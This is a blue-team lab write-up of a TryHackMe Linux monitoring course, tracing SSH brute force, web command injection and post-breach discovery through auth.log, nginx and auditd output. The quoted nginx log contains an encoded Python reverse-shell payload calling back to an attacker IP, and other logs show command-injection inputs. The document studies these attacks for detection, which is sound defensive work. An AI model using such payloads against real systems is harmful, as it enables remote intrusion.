

PROJECT LAB REPORT

Linux Security Monitoring

From Logging Fundamentals to Full Threat Detection

Blue Team, Linux Security, zenmier30

Phase 1	Phase 2	Phase 3	Phase 4
<i>Foundations and Log Sources</i>	<i>Initial Access Detection</i>	<i>Post-Breach Activity</i>	<i>Privilege Escalation, Persistence, and Impact</i>

Project Overview

This document covers the Linux Security Monitoring learning path on TryHackMe, a four-part series building a complete picture of how Linux servers are attacked and how to detect every stage through log evidence.

Linux powers the majority of the world's servers, cloud infrastructure, and containerized workloads, making it a primary target for threat actors. Unlike Windows, Linux has no graphical Event Viewer. All logs are stored as plain text files in `/var/log` and are investigated through the terminal using filtering commands.

The path follows a progressive structure, starting with log source fundamentals and moving through each phase of a real attack chain. Each phase builds directly on the previous one.

Project Objectives

- Understand where Linux logs are stored and what each major log file records, including syslog, auth.log, dpkg.log, bash_history, and the auditd log.
- Use command-line tools (cat, grep, head, ausearch, journalctl) to navigate and filter large log files efficiently during an investigation.
- Understand system calls and how auditd monitors them to provide forensic-level visibility that default logs cannot match.
- Detect SSH brute-force attacks and trace the IP address that succeeded in breaching the system.
- Detect web application exploitation by tracing command injection through process trees in auditd logs.
- Identify post-breach discovery commands, EDR evasion, file downloads, and cryptominer deployment.
- Detect reverse shells, privilege escalation, startup persistence via cron and systemd, and account persistence via new user and SSH key addition.
- Map all observed activity to MITRE ATT&CK techniques and tactics.

Tools Used

Tool , Command	Purpose in This Lab
cat	Outputs the full contents of a log file to the terminal. Used as the starting point for reading any log file, typically combined with grep to filter results.

grep	Searches for a specific keyword or pattern within a file or stream. Used in every phase to isolate relevant entries from large log files (e.g., grep 'Accepted' auth.log).
head	Displays the first N lines of a file. Used to get a quick preview of a log file's format and most recent entries before applying filters.
ausearch	Purpose-built query tool for auditd logs. Allows filtering by rule key, username, system call, or time range. Used to find specific file access, process execution, and network events.
journalctl	Reads systemd journal logs including sshd service entries. Used in Phase 2 to list SSH events with ISO timestamps and filter for successful authentication entries.
auditd	Linux audit daemon. Monitors and records system calls at the kernel level. Configured with custom rule keys to log specific events such as file access and process execution.
ps aux	Lists all currently running processes with their resource usage. Used in Phase 3 to identify running EDR or antivirus processes and locate cryptominer activity.
systemd-detect-virt	Detects whether the system is running inside a virtual machine or cloud instance. Used in Phase 3 as a discovery command that attackers commonly run to fingerprint the environment.

Investigation Methodology

All investigations followed a consistent four-step methodology applied across every phase.

Step	Action	Description
1	Identify Log Source	Select the appropriate log file for the event type being investigated: auth.log for authentication, audit.log for system call activity, syslog for general events.
2	Filter and Extract	Apply grep or ausearch to isolate relevant entries. Extract key fields: source IP, username, timestamp, command, and file path.
3	Process Tree Analysis	Trace the parent-child relationship of processes to determine the origin of suspicious commands. Every unexpected command has a parent process that reveals where it came from.
4	Map and Document	Assign confirmed activity to a MITRE ATT&CK technique and record findings addressing Who, What, When, Where, and Impact.

Phase 1: Foundations

Linux stores all log as plain text files. This phase introduces the key log sources, how to read them, and how auditd provides forensic-level monitoring through system call recording.

Key Linux Log Sources

Log File	What It Records
<code>/var/log/syslog</code>	General system events: kernel messages, service activity, NTP time synchronization, and hardware events.
<code>/var/log/auth.log</code>	All authentication events: SSH logins (successful and failed), sudo usage, user creation, and group modifications.
<code>/var/log/dpkg.log</code>	Package manager activity: every software installation, upgrade, or removal with timestamp and version.
<code>~/.bash_history</code>	Command history for each user account. Shows every command typed in the terminal, making it a critical post-breach evidence source.
<code>/var/log/audit/audit.log</code>	Forensic level auditd records for file access, process execution, network connections, and privilege changes. Queried using ausearch with custom rule keys.

Hands-On Exercises

In syslog, the NTP server used by the VM was identified as ntp.ubuntu.com. A Yama Linux Security Module message reading 'Becoming mindful' was found, confirming ptrace protection was active.

In auth.log, a single IP was found attempting SSH login against multiple different usernames, indicating credential stuffing. A new user was also found to have been added to the sudo group immediately after creation.

In dpkg.log, the version of unzip installed was identified via grep. In auditd, the file_thmsecret key was used to find when a sensitive file was first opened, and the proc_wget key identified a file downloaded from GitHub.

```
2026-05-31T04:52:43.502013+00:00 thm-vm dbus-daemon[606]: [system] Successfully activated service 'org.freedesktop.timedate1'
2026-05-31T04:52:43.502891+00:00 thm-vm systemd[1]: Started systemd-timedated.service - Time & Date Service.
2026-05-31T04:53:13.525334+00:00 thm-vm systemd[1]: systemd-timedated.service: Deactivated successfully.
2026-05-31T04:53:16.040194+00:00 thm-vm systemd-timesyncd[283]: Timed out waiting for reply from 185.125.190.58:123 (ntp.ubuntu.com).
2026-05-31T04:53:26.290757+00:00 thm-vm systemd-timesyncd[283]: Timed out waiting for reply from 91.189.91.157:123 (ntp.ubuntu.com).
2026-05-31T04:53:36.540230+00:00 thm-vm systemd-timesyncd[283]: Timed out waiting for reply from 185.125.190.57:123 (ntp.ubuntu.com).
2026-05-31T04:53:46.790144+00:00 thm-vm systemd-timesyncd[283]: Timed out waiting for reply from 185.125.190.56:123 (ntp.ubuntu.com).
2026-05-31T04:53:59.036513+00:00 thm-vm systemd[1]: Starting user-runtime-dir@1000.service - User Runtime Directory /run/user/1000...
2026-05-31T04:53:59.056490+00:00 thm-vm systemd[1]: Finished user-runtime-dir@1000.service - User Runtime Directory /run/user/1000.
2026-05-31T04:53:59.687373+00:00 thm-vm systemd[1136]: Started launchpadlib-cache-clean.timer - Clean up old files in the Launchpadlib cache.
2026-05-31T04:53:59.689093+00:00 thm-vm systemd[1136]: Reached target timers.target - Timers.
2026-05-31T04:55:01.290211+00:00 thm-vm systemd-timesyncd[283]: Timed out waiting for reply from 91.189.91.157:123 (ntp.ubuntu.com).
2026-05-31T04:55:11.540218+00:00 thm-vm systemd-timesyncd[283]: Timed out waiting for reply from 185.125.190.57:123 (ntp.ubuntu.com).
2026-05-31T04:55:21.790210+00:00 thm-vm systemd-timesyncd[283]: Timed out waiting for reply from 185.125.190.56:123 (ntp.ubuntu.com).
2026-05-31T04:55:32.040209+00:00 thm-vm systemd-timesyncd[283]: Timed out waiting for reply from 185.125.190.58:123 (ntp.ubuntu.com).
2026-05-31T04:56:58.049880+00:00 thm-vm systemd[1]: Starting update-notifier-download.service - Download data for packages that failed at pac
kage install time...
2026-05-31T04:56:58.293267+00:00 thm-vm systemd[1]: Finished update-notifier-download.service - Download data for packages that failed at pac
kage install time.
2026-05-31T04:57:43.398089+00:00 thm-vm dbus-daemon[606]: [system] Activating via systemd: service name='org.freedesktop.timedate1' unit='dbu
s-org-freedesktop-timedate1.service' requested by ':l.8' (uid=0 pid=618 comm="/usr/lib/snapd/snapd" label="unconfined")
2026-05-31T04:57:43.415202+00:00 thm-vm systemd[1]: Starting systemd-timedated.service - Time & Date Service...
2026-05-31T04:57:43.502822+00:00 thm-vm dbus-daemon[606]: [system] Successfully activated service 'org.freedesktop.timedate1'
2026-05-31T04:57:43.502964+00:00 thm-vm systemd[1]: Started systemd-timedated.service - Time & Date Service.
2026-05-31T04:57:50.540536+00:00 thm-vm systemd-timesyncd[283]: Timed out waiting for reply from 185.125.190.58:123 (ntp.ubuntu.com).
2026-05-31T04:58:00.790194+00:00 thm-vm systemd-timesyncd[283]: Timed out waiting for reply from 185.125.190.57:123 (ntp.ubuntu.com).
2026-05-31T04:58:11.040232+00:00 thm-vm systemd-timesyncd[283]: Timed out waiting for reply from 91.189.91.157:123 (ntp.ubuntu.com).
2026-05-31T04:58:13.535735+00:00 thm-vm systemd[1]: systemd-timedated.service: Deactivated successfully.
2026-05-31T04:58:21.290199+00:00 thm-vm systemd-timesyncd[283]: Timed out waiting for reply from 185.125.190.56:123 (ntp.ubuntu.com).
ubuntu@thm-vm:~$ cat /var/log/syslog | grep -i "Yama"
2025-08-13T13:41:48.176648+00:00 thm-vm kernel: LSM: initializing lsm=lockdown,capability,landlock,yama,apparmor,ima,evm
2025-08-13T13:41:48.176653+00:00 thm-vm kernel: Yama: becoming mindful.
2025-08-13T13:57:19.908951+00:00 thm-vm kernel: LSM: initializing lsm=lockdown,capability,landlock,yama,apparmor,ima,evm
2025-08-13T13:57:19.908956+00:00 thm-vm kernel: Yama: becoming mindful.
2025-08-28T14:02:07.691518+00:00 thm-vm kernel: LSM: initializing lsm=lockdown,capability,landlock,yama,apparmor,ima,evm
2025-08-28T14:02:07.691523+00:00 thm-vm kernel: Yama: becoming mindful.
2025-09-09T13:45:41.659295+00:00 thm-vm kernel: LSM: initializing lsm=lockdown,capability,landlock,yama,apparmor,ima,evm
2025-09-09T13:45:41.659300+00:00 thm-vm kernel: Yama: becoming mindful.
2026-05-31T04:51:58.829483+00:00 thm-vm kernel: LSM: initializing lsm=lockdown,capability,landlock,yama,apparmor,ima,evm
2026-05-31T04:51:58.829488+00:00 thm-vm kernel: Yama: becoming mindful.
ubuntu@thm-vm:~$
```

```

2025-08-28T14:04:40.826854+00:00 thm-vm sudo:      root : TTY=pts/1 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/usr/bin/su
ubuntu@thm-vm:~$ cat /var/log/auth.log | grep "sshd" | grep -E 'Failed'
2025-08-13T15:56:18.903048+00:00 thm-vm sshd[1176]: Failed password for root from 10.14.94.82 port 57696 ssh2
2025-08-13T15:56:31.754409+00:00 thm-vm sshd[1192]: Failed password for invalid user admin from 10.14.94.82 port 57697 ssh2
2025-08-13T15:56:36.311951+00:00 thm-vm sshd[1192]: Failed password for invalid user admin from 10.14.94.82 port 57697 ssh2
2025-08-13T15:56:47.119851+00:00 thm-vm sshd[1194]: Failed password for invalid user support from 10.14.94.82 port 57698 ssh2
2025-08-13T15:56:51.194083+00:00 thm-vm sshd[1194]: Failed password for invalid user support from 10.14.94.82 port 57698 ssh2
2025-08-13T15:57:01.783976+00:00 thm-vm sshd[1196]: Failed password for root from 10.14.94.82 port 57700 ssh2
ubuntu@thm-vm:~$ cat /var/log/auth.log | grep -E '(psswd|useradd|usermod|userdel)'
2025-08-13T18:04:10.580438+00:00 thm-vm useradd[1451]: new group: name=xerxes, GID=1001
2025-08-13T18:04:10.580683+00:00 thm-vm useradd[1451]: new user: name=xerxes, UID=1001, GID=1001, home=/home/xerxes, shell=/bin/sh, from=/dev/pts/1
2025-08-13T18:04:29.425939+00:00 thm-vm usermod[1458]: add 'xerxes' to group 'sudo'
2025-08-13T18:04:29.426146+00:00 thm-vm usermod[1458]: add 'xerxes' to shadow group 'sudo'
ubuntu@thm-vm:~$

```

The system's auth.log file flagged multiple failed SSH login attempts originating from the IP address 10.14.94.82. Following this activity, a new account named "xerxes" was successfully created and granted administrative privileges by being added to the sudo group.

```

ubuntu@thm-vm:~$ sudo ausearch -i -k file_thmsecret
----
type=PROCTITLE msg=audit(08/13/25 13:41:41.595:56) : proctitle=/sbin/auditctl -R /etc/audit/audit.rules
type=CWD msg=audit(08/13/25 13:41:41.595:56) : cwd=/
type=SOCKADDR msg=audit(08/13/25 13:41:41.595:56) : saddr={ saddr_fam=netlink nlnk_fam=16 nlnk_pid=0 }
type=SYSCALL msg=audit(08/13/25 13:41:41.595:56) : arch=x86_64 syscall=sendto success=yes exit=1084 a0=0x3 a1=0x7ffd77e095f0 a2=0x43c a3=0x0 items=1 ppid=293 pid=342 auid=unset uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root
tty=(none) ses=unset comm=auditctl exe=/usr/sbin/auditctl subj=unconfined key=(null)
type=CONFIG_CHANGE msg=audit(08/13/25 13:41:41.595:56) : auid=unset ses=unset subj=unconfined op=add_rule key=file_thmsecret list=exit res=yes
----
type=PROCTITLE msg=audit(08/13/25 13:57:13.530:51) : proctitle=/sbin/auditctl -R /etc/audit/audit.rules
type=CWD msg=audit(08/13/25 13:57:13.530:51) : cwd=/
type=SOCKADDR msg=audit(08/13/25 13:57:13.530:51) : saddr={ saddr_fam=netlink nlnk_fam=16 nlnk_pid=0 }
type=SYSCALL msg=audit(08/13/25 13:57:13.530:51) : arch=x86_64 syscall=sendto success=yes exit=1084 a0=0x3 a1=0x7ffc0e38b1b0 a2=0x43c a3=0x0 items=1 ppid=281 pid=334 auid=unset uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root
tty=(none) ses=unset comm=auditctl exe=/usr/sbin/auditctl subj=unconfined key=(null)
type=CONFIG_CHANGE msg=audit(08/13/25 13:57:13.530:51) : auid=unset ses=unset subj=unconfined op=add_rule key=file_thmsecret list=exit res=yes
----
type=PROCTITLE msg=audit(08/13/25 18:36:54.574:1600) : proctitle=cat /secret.thm
type=CWD msg=audit(08/13/25 18:36:54.574:1600) : cwd=/root
type=SYSCALL msg=audit(08/13/25 18:36:54.574:1600) : arch=x86_64 syscall=openat success=yes exit=3 a0=AT_FDCWD a1=0x7ffd133b973a a2=0_RDONLY a3=0x0 items=1 ppid=1542 pid=1578 auid=ubuntu uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root
tty=pts/1 ses=30 comm=cat exe=/usr/bin/cat subj=unconfined key=file_thmsecret
ubuntu@thm-vm:~$ sudo ausearch -i -k proc_wget | grep "github"
type=PROCTITLE msg=audit(08/13/25 18:29:14.700:1523) : proctitle=wget https://github.com/projectdiscovery/naabu/releases/download/v2.3.5/naabu.2.3.5.linux.amd64.zip -O /tmp/naabu.zip
type=EXECVE msg=audit(08/13/25 18:29:14.700:1523) : argc=4 a0=wget a1=https://github.com/projectdiscovery/naabu/releases/download/v2.3.5/naabu.2.3.5.linux.amd64.zip a2=-O a3=/tmp/naabu.zip
ubuntu@thm-vm:~$ sudo ausearch -i | grep "naabu"
type=PROCTITLE msg=audit(08/13/25 18:29:14.700:1523) : proctitle=wget https://github.com/projectdiscovery/naabu/releases/download/v2.3.5/naabu.2.3.5.linux.amd64.zip -O /tmp/naabu.zip
type=EXECVE msg=audit(08/13/25 18:29:14.700:1523) : argc=4 a0=wget a1=https://github.com/projectdiscovery/naabu/releases/download/v2.3.5/naabu.2.3.5.linux.amd64.zip a2=-O a3=/tmp/naabu.zip
type=PROCTITLE msg=audit(08/13/25 18:29:25.214:1524) : proctitle=unzip naabu.zip
type=EXECVE msg=audit(08/13/25 18:29:25.214:1524) : argc=2 a0=unzip a1=naabu.zip
type=PROCTITLE msg=audit(08/13/25 18:29:45.152:1526) : proctitle=chmod +x naabu
type=EXECVE msg=audit(08/13/25 18:29:45.152:1526) : argc=3 a0=chmod a1+=x a2=naabu
type=PROCTITLE msg=audit(08/13/25 18:29:51.986:1527) : proctitle=./naabu -host 192.168.50.0/24 -top-ports
type=EXECVE msg=audit(08/13/25 18:29:51.986:1527) : argc=5 a0=./naabu a1=-host a2=192.168.50.0/24 a3=-top-ports a4=100
type=SYSCALL msg=audit(08/13/25 18:29:51.986:1527) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x6252c36af5a0 a1=0x6252c36af630 a2=0x6252f61106d8 a3=0x8 items=2 ppid=1499 pid=1504 auid=ubuntu uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=pts/1 ses=30 comm=naabu exe=/tmp/naabu subj=unconfined key=proc_all
ubuntu@thm-vm:~$

```

I analyzed Linux audit logs using the ausearch tool to investigate a security incident, successfully tracing unauthorized file access, identifying a downloaded network scanning utility, and uncovering the specific network range that was targeted.

DETECTION OPPORTUNITIES, PHASE 1

- Alert on auth.log entries where the same IP appears in multiple 'Failed password' records for different usernames within a short window, indicating credential stuffing.
- Alert on useradd followed within 60 seconds by usermod adding the new account to the sudo group.
- Configure auditd keys for sensitive file paths and use ausearch to query access events during investigations.

Phase 2: Initial Access

The two most common Linux Initial Access vectors are exposed to SSH services and vulnerable web applications. Both were investigated using auth.log and auditd process tree analysis.

SSH Brute-Force Detection

Auth.log was filtered for sshd entries to list all SSH events. Filtering for 'Accepted' entries identified the first legitimate ubuntu user login on 2024-10-22, using a public key rather than a password.

```
2025-08-21T16:34:04.201269+00:00 thm-vm sshd[18432]: Failed password for root from 197.39.195.136 port 47942 ssh2
2025-08-21T16:38:47.168117+00:00 thm-vm sshd[18479]: Failed password for invalid user sol from 193.32.162.145 port 46702 ssh2
2025-08-21T16:39:54.526886+00:00 thm-vm sshd[18482]: Failed password for root from 193.46.255.33 port 47526 ssh2
2025-08-21T16:39:58.381234+00:00 thm-vm sshd[18482]: Failed password for root from 193.46.255.33 port 47526 ssh2
2025-08-21T16:40:02.999936+00:00 thm-vm sshd[18482]: Failed password for root from 193.46.255.33 port 47526 ssh2
2025-08-21T16:40:06.684926+00:00 thm-vm sshd[18486]: Failed password for root from 193.46.255.33 port 62166 ssh2
2025-08-21T16:40:14.054516+00:00 thm-vm sshd[18486]: message repeated 2 times: [ Failed password for root from 193.46.255.33 port 62166 ssh2]
2025-08-21T16:40:18.831953+00:00 thm-vm sshd[18488]: Failed password for root from 193.46.255.33 port 43344 ssh2
2025-08-21T16:40:23.021683+00:00 thm-vm sshd[18488]: Failed password for root from 193.46.255.33 port 43344 ssh2
2025-08-21T16:40:23.214423+00:00 thm-vm sshd[18490]: Failed password for root from 45.88.8.186 port 34026 ssh2
2025-08-21T16:40:26.207263+00:00 thm-vm sshd[18488]: Failed password for root from 193.46.255.33 port 43344 ssh2
2025-08-21T16:41:06.828985+00:00 thm-vm sshd[18495]: Failed password for invalid user roy from 80.94.95.112 port 63189 ssh2
2025-08-21T16:41:11.599255+00:00 thm-vm sshd[18495]: Failed password for invalid user roy from 80.94.95.112 port 63189 ssh2
2025-08-21T16:41:15.906661+00:00 thm-vm sshd[18495]: Failed password for invalid user roy from 80.94.95.112 port 63189 ssh2
2025-08-21T16:41:18.468868+00:00 thm-vm sshd[18495]: Failed password for invalid user roy from 80.94.95.112 port 63189 ssh2
2025-08-21T16:41:20.881476+00:00 thm-vm sshd[18495]: Failed password for invalid user roy from 80.94.95.112 port 63189 ssh2
2025-08-21T16:46:50.163525+00:00 thm-vm sshd[18503]: Failed password for root from 80.94.93.233 port 46416 ssh2
2025-08-21T16:46:57.398313+00:00 thm-vm sshd[18503]: message repeated 2 times: [ Failed password for root from 80.94.93.233 port 46416 ssh2]
2025-08-21T16:47:02.345662+00:00 thm-vm sshd[18505]: Failed password for root from 80.94.93.233 port 49998 ssh2
2025-08-21T16:47:09.592447+00:00 thm-vm sshd[18505]: message repeated 2 times: [ Failed password for root from 80.94.93.233 port 49998 ssh2]
2025-08-21T16:47:14.547534+00:00 thm-vm sshd[18507]: Failed password for root from 80.94.93.233 port 22588 ssh2
2025-08-21T16:47:22.129207+00:00 thm-vm sshd[18507]: message repeated 2 times: [ Failed password for root from 80.94.93.233 port 22588 ssh2]
2025-08-21T16:53:50.170818+00:00 thm-vm sshd[18516]: Failed password for root from 80.94.93.119 port 59598 ssh2
2025-08-21T16:53:57.405045+00:00 thm-vm sshd[18516]: message repeated 2 times: [ Failed password for root from 80.94.93.119 port 59598 ssh2]
2025-08-21T16:54:02.351411+00:00 thm-vm sshd[18518]: Failed password for root from 80.94.93.119 port 11606 ssh2
2025-08-21T16:54:09.398051+00:00 thm-vm sshd[18518]: message repeated 2 times: [ Failed password for root from 80.94.93.119 port 11606 ssh2]
2025-08-21T16:54:14.347754+00:00 thm-vm sshd[18520]: Failed password for root from 80.94.93.119 port 61456 ssh2
2025-08-21T16:54:21.260695+00:00 thm-vm sshd[18520]: message repeated 2 times: [ Failed password for root from 80.94.93.119 port 61456 ssh2]
2025-08-21T17:00:43.570528+00:00 thm-vm sshd[18530]: Failed password for root from 193.46.255.20 port 31716 ssh2
2025-08-21T17:00:49.607100+00:00 thm-vm sshd[18530]: message repeated 2 times: [ Failed password for root from 193.46.255.20 port 31716 ssh2]
2025-08-21T17:00:53.826091+00:00 thm-vm sshd[18532]: Failed password for root from 193.46.255.20 port 59390 ssh2
2025-08-21T17:01:00.045858+00:00 thm-vm sshd[18532]: message repeated 2 times: [ Failed password for root from 193.46.255.20 port 59390 ssh2]
2025-08-21T17:01:04.991390+00:00 thm-vm sshd[18534]: Failed password for root from 193.46.255.20 port 42988 ssh2
2025-08-21T17:01:12.237121+00:00 thm-vm sshd[18534]: message repeated 2 times: [ Failed password for root from 193.46.255.20 port 42988 ssh2]
2025-08-21T17:03:52.453079+00:00 thm-vm sshd[18538]: Failed password for root from 45.88.8.186 port 33900 ssh2
2025-08-21T17:06:23.687748+00:00 thm-vm sshd[18544]: Failed password for invalid user user from 80.94.95.112 port 63350 ssh2
2025-08-21T17:06:26.887120+00:00 thm-vm sshd[18544]: Failed password for invalid user user from 80.94.95.112 port 63350 ssh2
2025-08-21T17:06:30.901655+00:00 thm-vm sshd[18544]: Failed password for invalid user user from 80.94.95.112 port 63350 ssh2
2025-08-21T17:06:33.443041+00:00 thm-vm sshd[18544]: Failed password for invalid user user from 80.94.95.112 port 63350 ssh2
2025-08-21T17:06:37.120015+00:00 thm-vm sshd[18544]: Failed password for invalid user user from 80.94.95.112 port 63350 ssh2
2025-08-21T17:07:44.103207+00:00 thm-vm sshd[18547]: Failed password for root from 91.224.92.79 port 41398 ssh2
2025-08-21T17:07:51.991479+00:00 thm-vm sshd[18547]: message repeated 2 times: [ Failed password for root from 91.224.92.79 port 41398 ssh2]
2025-08-21T17:07:55.863469+00:00 thm-vm sshd[18549]: Failed password for root from 91.224.92.79 port 50788 ssh2
2025-08-21T17:08:00.870866+00:00 thm-vm sshd[18549]: message repeated 2 times: [ Failed password for root from 91.224.92.79 port 50788 ssh2]
2025-08-21T17:08:05.270529+00:00 thm-vm sshd[18551]: Failed password for root from 91.224.92.79 port 50408 ssh2
2025-08-21T17:08:09.952907+00:00 thm-vm sshd[18551]: message repeated 2 times: [ Failed password for root from 91.224.92.79 port 50408 ssh2]
2025-08-21T17:10:08.113644+00:00 thm-vm sshd[18576]: Accepted password for root from 91.224.92.79 port 51555 ssh2
2025-08-21T17:13:32.532020+00:00 thm-vm sshd[18559]: userauth_pubkey: signature algorithm ssh-rsa not in PubkeyAcceptedAlgorithms
```

The brute-force campaign began on 2025-08-21. The botnet targeted four accounts in alphabetical order: root, roy, sol, and user. IP address 91.224.92.79 was the one that ultimately breached the root account.

Web Application Command Injection

The vulnerable application (TryPingMe) accepted user input without sanitisation. Appending commands using && allowed arbitrary execution on the server.

```
ubuntu@thm-vm:~$ cat /var/log/nginx/access.log
10.2.33.10 - - [19/Aug/2025:12:26:07 +0000] "GET /ping?host=3.109.33.76 HTTP/1.1" 200 312 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 15_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
10.12.88.67 - - [23/Aug/2025:09:32:22 +0000] "GET /ping?host=54.36.19.83 HTTP/1.1" 200 287 "-" "curl/7.54.1"
10.14.105.255 - - [26/Aug/2025:20:09:43 +0000] "GET /ping?host=hello HTTP/1.1" 500 21 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
10.14.105.255 - - [26/Aug/2025:20:09:46 +0000] "GET /ping?host=whoami HTTP/1.1" 500 21 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
10.14.105.255 - - [26/Aug/2025:20:09:49 +0000] "GET /ping?host=whoami HTTP/1.1" 200 81 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
10.14.105.255 - - [26/Aug/2025:20:10:41 +0000] "GET /ping?host=ls HTTP/1.1" 200 78 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
10.14.105.255 - - [26/Aug/2025:20:10:45 +0000] "GET /ping?host=pwd HTTP/1.1" 200 85 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
10.14.105.255 - - [26/Aug/2025:20:10:49 +0000] "GET /ping?host=cat+/opt/tryingme/main.py HTTP/1.1" 200 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
10.14.105.255 - - [26/Aug/2025:20:12:16 +0000] "GET /ping?host=python320-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.14.105.255%22%2C1337%29%29%3Bos.dup%2%28s.fileno%28%29%2C%29%3B%20os.dup%2%28s.fileno%28%29%2C1%29%3Bos.dup%2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22sh%22%29%27 HTTP/1.1" 504 578 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
```

Based on the logs the attacker attempts to open the main.py of the web application.

```
ubuntu@thm-vm:~$ sudo ausearch -i -x whoami
----
type=PROCTITLE msg=audit(08/26/25 20:09:49.742:158) : proctitle=whoami
type=CWD msg=audit(08/26/25 20:09:49.742:158) : cwd=/opt/tryingme
type=EXECVE msg=audit(08/26/25 20:09:49.742:158) : argc=1 a0=whoami
type=SYSCALL msg=audit(08/26/25 20:09:49.742:158) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x57c312f7e650 a1=0x57c312f7e5d8 a2=0x57c312f7e5e8 a3=0x8 items=2 ppid=1018 pid=1020 auid=unset uid=ubuntu gid=ubuntu euid=ubuntu suid=ubuntu fsuid=ubuntu egid=ubuntu sgid=ubuntu fsgid=ubuntu tty=(none) ses=unset comm=whoami exe=/usr/bin/whoami subj=unconfined key=exec
ubuntu@thm-vm:~$ sudo ausearch -i --pid 1018
----
type=PROCTITLE msg=audit(08/26/25 20:09:49.738:156) : proctitle=/bin/sh -c ping -c 2 ;whoami
type=CWD msg=audit(08/26/25 20:09:49.738:156) : cwd=/opt/tryingme
type=EXECVE msg=audit(08/26/25 20:09:49.738:156) : argc=3 a0=/bin/sh a1=-c a2=ping -c 2 ;whoami
type=SYSCALL msg=audit(08/26/25 20:09:49.738:156) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x7ef5401797b0 a1=0x7ef53e636870 a2=0x7ffeb1260660 a3=0x8 items=2 ppid=577 pid=1018 auid=unset uid=ubuntu gid=ubuntu euid=ubuntu suid=ubuntu fsuid=ubuntu egid=ubuntu sgid=ubuntu fsgid=ubuntu tty=(none) ses=unset comm=sh exe=/usr/bin/dash subj=unconfined key=exec
ubuntu@thm-vm:~$ sudo ausearch -i --pid 577
----
type=PROCTITLE msg=audit(08/26/25 20:07:48.305:88) : proctitle=/usr/bin/python3 /opt/tryingme/main.py
type=CWD msg=audit(08/26/25 20:07:48.305:88) : cwd=/opt/tryingme
type=EXECVE msg=audit(08/26/25 20:07:48.305:88) : argc=2 a0=/usr/bin/python3 a1=/opt/tryingme/main.py
type=SYSCALL msg=audit(08/26/25 20:07:48.305:88) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x640a321acbf0 a1=0x640a321ae620 a2=0x640a321aff90 a3=0x640a321abb90 items=2 ppid=1 pid=577 auid=unset uid=ubuntu gid=ubuntu euid=ubuntu suid=ubuntu fsuid=ubuntu egid=ubuntu sgid=ubuntu fsgid=ubuntu tty=(none) ses=unset comm=python3 exe=/usr/bin/python3.12 subj=unconfined key=exec
ubuntu@thm-vm:~$
```

Auditd captured execve system call records showing the web server process spawning unexpected commands. Process tree analysis confirmed the origin, tracing upward from the suspicious command to the Python web application that was exploited.

DETECTION OPPORTUNITIES, PHASE 2

- Alert on more than 10 'Failed password' entries from the same source IP in auth.log within 30 seconds.
- Alert on a successful SSH login (Accepted password or Accepted publickey) from an IP that has previously generated failed login entries in the same log.
- Alert on auditd execve records where a web server process (apache2, nginx, python, gunicorn) spawns a shell (sh, bash, dash) as a child process.

Phase 3: Post-Breach Activity

After gaining access, attackers run commands to understand the environment, identify security tools, download malware, and establish a cryptominer. All activity was traced through auditd and bash history logs.

Environment and Security Tool Discovery

The command `systemd-detect-virt` was run to identify whether the machine was a VM or cloud instance. The command `ps aux` was used to list all processes and search for EDR or antivirus software.

```
ubuntu@thm-vm:~$ systemd-detect-virt
amazon
ubuntu@thm-vm:~$ ps aux | egrep -i "security|scan|report"
root        627  60.0  0.3  7744  3272 ?        Rs   08:24   3:26 /bin/bash /var/lib/ultrasec/malscan
ubuntu     1434   0.0  0.2   7088   2260 pts/0    S+   08:29   0:00 grep -E --color=auto -i security|scan|report
ubuntu@thm-vm:~$
```

A `debug.sh` script was found on the system containing automated discovery commands. The final command in the script was `ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%cpu`, which sorts processes by CPU usage, a common step before deploying a cryptominer.

```
ubuntu@thm-vm:~$ sudo ausearch -i -x hostname
----
type=PROCTITLE msg=audit(09/11/25 18:29:48.884:1120) : proctitle=hostname
type=CWD msg=audit(09/11/25 18:29:48.884:1120) : cwd=/home/itsupport
type=EXECVE msg=audit(09/11/25 18:29:48.884:1120) : argc=1 a0=hostname
type=SYSCALL msg=audit(09/11/25 18:29:48.884:1120) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x6402fb76c290
a1=0x6402fb769380 a2=0x6402fb768ca0 a3=0x6402fb769380 items=2 ppid=3771 pid=3772 auid=itsupport uid=itsupport gid=i
tsupport euid=itsupport suid=itsupport fsuid=itsupport egid=itsupport sgid=itsupport fsgid=itsupport tty=pts2 ses=17
0 comm=hostname exe=/usr/bin/hostname subj=unconfined key=exec
ubuntu@thm-vm:~$ sudo ausearch -i --ppid 3771
----
type=PROCTITLE msg=audit(09/11/25 18:29:48.884:1120) : proctitle=hostname
type=CWD msg=audit(09/11/25 18:29:48.884:1120) : cwd=/home/itsupport
